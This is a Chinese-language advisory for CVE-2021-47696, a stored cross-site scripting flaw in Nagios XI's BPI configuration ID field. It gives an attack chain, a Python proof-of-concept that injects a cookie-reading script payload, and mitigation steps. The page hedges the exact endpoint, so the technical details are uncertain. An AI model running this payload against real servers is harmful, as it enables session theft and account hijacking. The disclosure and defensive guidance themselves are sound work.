IPBUF安全漏洞报告
English
CVE-2021-47696 CVSS 5.4 中危

CVE-2021-47696: Nagios XI BPI配置ID处理跨站脚本漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2021-47696
漏洞类型
跨站脚本(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI

相关标签

CVE-2021-47696Nagios XI跨站脚本漏洞XSS存储型XSSBPI配置网络监控软件中等严重程度认证用户利用Web应用安全

漏洞概述

CVE-2021-47696是Nagios XI软件中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于Nagios XI的BPI(Business Process Intelligence)配置ID处理功能中,由于应用程序在处理用户输入时未对特殊字符进行充分的验证和转义,攻击者可以通过在BPI配置ID字段中注入恶意JavaScript代码来实现持久化的跨站脚本攻击。当其他用户访问受影响的功能模块或查看相关数据时,注入的恶意脚本将在受害者浏览器上下文中执行,从而窃取用户会话Cookie、劫持用户账户、执行任意操作或进行钓鱼攻击。由于该漏洞需要低权限认证才能利用,且CVSS评分为5.4,属于中等严重程度漏洞,但仍可能对系统安全造成实质性威胁。Nagios XI是一款广泛使用的企业级网络和系统监控软件,因此该漏洞可能影响大量使用该产品的组织和企业。建议受影响的用户尽快升级到修复版本或采取临时缓解措施。

技术细节

该漏洞的根本原因在于Nagios XI应用程序在BPI(Business Process Intelligence)功能模块中对配置ID参数处理不当。当用户提交BPI配置请求时,应用程序直接将用户输入的ID值传递给后端数据库或前端页面渲染,而未进行充分的输入验证和输出编码。具体而言,攻击者可以在BPI配置ID字段中注入包含JavaScript代码的恶意字符串,如:<script>alert(document.cookie)</script>。由于该输入被存储在数据库中并在后续页面访问时直接回显给其他用户,形成了存储型XSS攻击链。攻击者利用该漏洞需要首先拥有Nagios XI的低权限账户(如普通用户或Operator角色),然后通过BPI配置界面提交恶意payload。受影响的组件位于/admin/bpi_config.php或类似的配置处理脚本中。攻击成功的关键是目标用户访问包含恶意脚本的页面时,浏览器会将其作为合法脚本执行,从而绕过同源策略限制。

攻击链分析

STEP 1
步骤1
攻击者获取Nagios XI低权限账户(如普通用户或Operator角色)
STEP 2
步骤2
攻击者访问/admin/bpi_config.php或BPI配置管理页面
STEP 3
步骤3
在BPI配置ID字段中注入恶意XSS payload,如<script>alert(document.cookie)</script>
STEP 4
步骤4
提交恶意配置,payload被存储到数据库中
STEP 5
步骤5
当其他用户访问BPI配置页面或相关功能时,恶意脚本在受害者浏览器中执行
STEP 6
步骤6
攻击者通过恶意脚本窃取用户会话Cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2021-47696 PoC - Nagios XI BPI Config ID XSS # Target: Nagios XI < 5.8.0 TARGET_URL = "http://target-nagios-xi.local" USERNAME = "normal_user" PASSWORD = "user_password" session = requests.Session() # Step 1: Login to Nagios XI login_url = f"{TARGET_URL}/nagiosxi/login.php" login_data = { "username": USERNAME, "password": PASSWORD, "loginButton": "Login" } response = session.post(login_url, data=login_data) if "nagiosxi" not in response.url.lower(): print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Navigate to BPI Config page bpi_url = f"{TARGET_URL}/nagiosxi/admin/bpi_config.php" response = session.get(bpi_url) # Step 3: Inject XSS payload in BPI Config ID field xss_payload = '<script>alert(document.cookie)</script>' bpi_post_url = f"{TARGET_URL}/nagiosxi/admin/bpi_config.php" bpi_data = { "config_id": xss_payload, "action": "submit", "submit": "Save" } response = session.post(bpi_post_url, data=bpi_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") else: print("[-] Injection failed")

影响范围

Nagios XI < 5.8.0

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)限制BPI配置功能的访问权限,仅允许管理员角色访问;2)在Web应用防火墙(WAF)中配置XSS过滤规则,拦截包含<script>标签的请求;3)禁用或临时关闭BPI功能模块;4)监控Nagios XI的访问日志,关注异常的BPI配置请求;5)对所有访问Nagios XI的用户实施强密码策略和多因素认证以降低账户被盗用风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表